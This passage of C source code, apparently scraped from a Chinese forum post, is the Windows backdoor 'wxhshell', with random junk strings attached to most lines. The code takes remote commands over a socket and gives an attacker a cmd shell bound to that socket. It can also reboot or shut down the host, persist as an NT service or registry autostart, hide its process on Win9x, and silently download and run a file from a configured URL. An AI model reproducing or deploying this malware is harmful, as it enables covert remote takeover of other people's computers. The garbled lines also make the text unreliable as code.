      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TI^X gl~  
    break; V:8{MO(C\  
  } C^ ~[b o  
  // 安装 `6*1mE1K&  
  case 'i': { wqt/0,\  
    if(Install()) 1(a+|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O]9PYv=^  
    else %/K;!'7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H<3a yp$  
    break; TzV~I\a|  
    } iB{l:  
  // 卸载 Q2t>E(S  
  case 'r': { "Qe2U(Un  
    if(Uninstall()) #\O?|bN'q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *iVv(xXgN  
    else 0&6(y* #Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ru*}lDJ  
    break; ]~'pYOB  
    } -$f$z(h  
  // 显示 wxhshell 所在路径 G>+iisb%  
  case 'p': { J~5+=V7OV  
    char svExeFile[MAX_PATH]; | +aD%'|  
    strcpy(svExeFile,"\n\r"); w `>g^_xsg  
      strcat(svExeFile,ExeFile); S\A9r!2  
        send(wsh,svExeFile,strlen(svExeFile),0); JjBlje  
    break; 212  
    } YM +4:P2  
  // 重启 8wzQr2:  
  case 'b': { 5S%#3YHY2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }vX/55  
    if(Boot(REBOOT)) n'<F'1SWv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @9h6D<?  
    else { [F^j(qTR  
    closesocket(wsh); lUM-~  
    ExitThread(0); I oC}0C7  
    } /h K/t;  
    break; iaQ3mk#  
    } I- WR6s=  
  // 关机 m)xz_Plc  
  case 'd': { !;&{Q^}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 20BU;D3  
    if(Boot(SHUTDOWN)) zWq&HBs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ID$%4jl  
    else { \7tJ)[0aF  
    closesocket(wsh); c8qwsp  
    ExitThread(0); M{`uI8vD  
    } }Ld eU:E4  
    break; K55]W2I9  
    } Q+^"v]V`d  
  // 获取shell h8?E+0  
  case 's': { 2~W8tv0^b2  
    CmdShell(wsh); |F?/L>  
    closesocket(wsh); `&o>7a;  
    ExitThread(0); h Ap(1h#m  
    break; )gKX +'  
  } A!ak i}aT~  
  // 退出 3rVWehCv  
  case 'x': { kntn9G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "v5jYz5M  
    CloseIt(wsh); 9rM6kLD  
    break; 7! #34ue  
    } Y-:dPc{  
  // 离开 |F52)<\  
  case 'q': { C3e0d~C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #w]@yL]|is  
    closesocket(wsh); +Uf+`  
    WSACleanup(); Te&5IB-  
    exit(1); ~#9(Q  
    break; !l#n.Fx&3  
        } FKkL%:?  
  } ,Q>wcE6v  
  } fdzaM&  
]s^Pw>/`  
  // 提示信息 t,R4q*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q`[J3-Q*{  
} Iq: G9M  
  } >`Zw0S  
($^=f}+  
  return; $}Ky6sBnvO  
} @hIHvLpRB  
_If:~mIs  
// shell模块句柄 _D~FwF&A  
int CmdShell(SOCKET sock) > R2o7~  
{ gjex;h  
STARTUPINFO si; 1A;f[Rze  
ZeroMemory(&si,sizeof(si)); S"Mm_<A$@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y@u,Mv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y>_*}>2,O  
PROCESS_INFORMATION ProcessInfo; $Rv (v%  
char cmdline[]="cmd"; .V\: )\<|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tq!.M1{&  
  return 0; s_Gf7uC  
} jL9to6 Hmr  
hYU4%"X  
// 自身启动模式 Y|N.R(sAs&  
int StartFromService(void) w2o5+G=  
{ ub=Bz1._  
typedef struct Tn(c%ytN  
{ iP+3)  
  DWORD ExitStatus; VW *d*!  
  DWORD PebBaseAddress; n~G-X  
  DWORD AffinityMask; A&($X)t  
  DWORD BasePriority; J+=+0{}  
  ULONG UniqueProcessId; guWX$C-+1  
  ULONG InheritedFromUniqueProcessId; _16IP  
}   PROCESS_BASIC_INFORMATION; Y@R9+ 7!  
Fd/.\s  
PROCNTQSIP NtQueryInformationProcess; EZg$mp1  
b0!ZA/YC-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jx4"~ 4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %t J@)  
!O*uQB  
  HANDLE             hProcess; ?9m@ S#@  
  PROCESS_BASIC_INFORMATION pbi; Vrx3%_NkQ  
$WHmG!)*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B0eKj=y;  
  if(NULL == hInst ) return 0; qB44;!(  
8:)itYE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eJ tfQ@?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (b>B6W\&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x#,nR]C  
"qvJ-Y  
  if (!NtQueryInformationProcess) return 0; W<s5rMx  
M|uWSG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /$?7L(  
  if(!hProcess) return 0; -/ h'uG  
!Xf7RT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,T\)%q  
5t-dvYgU  
  CloseHandle(hProcess); -x0VvkHu  
.0f6b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BP`'1Ns  
if(hProcess==NULL) return 0; Fy-N U  
PcK;L(  
HMODULE hMod; a.!|A(zw  
char procName[255]; %$H~  
unsigned long cbNeeded; ~AbTbQ3  
'SE?IE{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BARs1^pR4  
leomm+f^  
  CloseHandle(hProcess); ~k[q:$T  
ej&ZE n  
if(strstr(procName,"services")) return 1; // 以服务启动 La#otuw+?  
STY\c5  
  return 0; // 注册表启动 :r,o-D  
} `' "125T  
^t#W?rxp&  
// 主模块 !%s&GD8&l  
int StartWxhshell(LPSTR lpCmdLine) 9 9S-P}xd  
{ VwxLElV  
  SOCKET wsl; huw|J<$  
BOOL val=TRUE; wc.T;(  
  int port=0; H|i39XV  
  struct sockaddr_in door; {X'D07q  
3ZEV*=+T5  
  if(wscfg.ws_autoins) Install(); I!OV+utF  
OD\F*Ry~  
port=atoi(lpCmdLine); SByn u  
xU_Dg56z'&  
if(port<=0) port=wscfg.ws_port; 3iC$ "9!p  
$X%'je  
  WSADATA data; (#`1[n+b`x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v?en-,{A  
r^,XpRe&M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,Kw]V %xOb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B qA  
  door.sin_family = AF_INET; xesZ 7{ o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \vQjTM-7  
  door.sin_port = htons(port); v;m}<3@'  
tjIT4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .uGvmD <;x  
closesocket(wsl); X[Q:c4'  
return 1; .*z Wm  
} ]-b`uYb  
Q7vTTn\  
  if(listen(wsl,2) == INVALID_SOCKET) { X[{tD#  
closesocket(wsl); cun&'JOH?U  
return 1; 7@*l2edXm+  
} E=9xiS  
  Wxhshell(wsl); UZ` <D/  
  WSACleanup(); +^\TG>le  
1ehl=WN  
return 0; t'pY~a9F  
]&mN~$+C  
} uO,9h0y0W  
6*]g~)7`Q~  
// 以NT服务方式启动 q;<=MO/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m5/d=k0l  
{ B"rfR_B2M#  
DWORD   status = 0; vm y?8E6+  
  DWORD   specificError = 0xfffffff; bb ]r  
6bXR?0$*M.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ToVi;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;&N=t64"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vL,:Yn@b  
  serviceStatus.dwWin32ExitCode     = 0; WFTXSHcG  
  serviceStatus.dwServiceSpecificExitCode = 0; yaD_c;  
  serviceStatus.dwCheckPoint       = 0; 2[8C?7_K0?  
  serviceStatus.dwWaitHint       = 0; tin5.N)"z  
ra4$/@3n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7\?0d!  
  if (hServiceStatusHandle==0) return; IW<nfg  
BlrZ<\-/  
status = GetLastError(); yK3b^  
  if (status!=NO_ERROR) 6|-V{  
{ hhU: nw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s.p4+K J  
    serviceStatus.dwCheckPoint       = 0; 'q_^28rK  
    serviceStatus.dwWaitHint       = 0; D%+cf  
    serviceStatus.dwWin32ExitCode     = status; i 6@c@n  
    serviceStatus.dwServiceSpecificExitCode = specificError; x  #Um`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5UgxuuP4  
    return; 8 o SNnT  
  } \(db1zmS~  
xR`W9Z5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v3ky;~ke  
  serviceStatus.dwCheckPoint       = 0; ?"o7x[  
  serviceStatus.dwWaitHint       = 0; ;`f14Fb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i6Kcj  
} \=yWJ  
=5v=<, ]  
// 处理NT服务事件,比如:启动、停止 */7+pk(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Tt.#O~2:9  
{ Zr%,F[j?  
switch(fdwControl) <V~B8C!)  
{ oY K(=j  
case SERVICE_CONTROL_STOP: ~Gz b^  
  serviceStatus.dwWin32ExitCode = 0; Uf ?._&:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &I|\AG"X}  
  serviceStatus.dwCheckPoint   = 0; 'wg>=|Q5  
  serviceStatus.dwWaitHint     = 0; "^UJC-  
  { FZ0wtS2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ruKm_j#J  
  } +=:*[JEK,U  
  return; pp2,d`01[L  
case SERVICE_CONTROL_PAUSE: R iPxz=kr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Sl!#!FGI  
  break; /YLHg5n8+  
case SERVICE_CONTROL_CONTINUE: R|&Rq(ow"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '[z529HN  
  break; Q/[g|"  
case SERVICE_CONTROL_INTERROGATE: o;zU;pkB  
  break; @|jLw($Ly  
}; PXRkK63  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a At<36{?  
} 5C|Y-G  
T.}wcQf&*  
// 标准应用程序主函数 e@ mjh,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  `u 't  
{ ~fV\ X*  
^]cl:m=*  
// 获取操作系统版本 =,])xzG%  
OsIsNt=GetOsVer(); D["~G v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E0s|eA&  
(T9Q6 \sa  
  // 从命令行安装 hT0[O  
  if(strpbrk(lpCmdLine,"iI")) Install(); <*/IV<  
%wDE+&M  
  // 下载执行文件 L*QX21@wC  
if(wscfg.ws_downexe) { 5uidi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JoCZ{MhM  
  WinExec(wscfg.ws_filenam,SW_HIDE); KmYSYNr@,  
} sYG:\>}ie  
)9]DJ!]&Q"  
if(!OsIsNt) { .S{FEV  
// 如果时win9x,隐藏进程并且设置为注册表启动 QCD MRh n  
HideProc(); J_|LG rt})  
StartWxhshell(lpCmdLine); x%!Ea{ s  
} n`Y"b&  
else 0|J]EsPxu  
  if(StartFromService()) v><c@a=[  
  // 以服务方式启动 :]rb}1nLB  
  StartServiceCtrlDispatcher(DispatchTable); `k.Tfdu)K  
else  mdtG W  
  // 普通方式启动 aob+_9o  
  StartWxhshell(lpCmdLine); n ZbINhls  
W0 n?S "  
return 0; T) Zef  
}
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只看该作者 1 发表于: 2006-10-10
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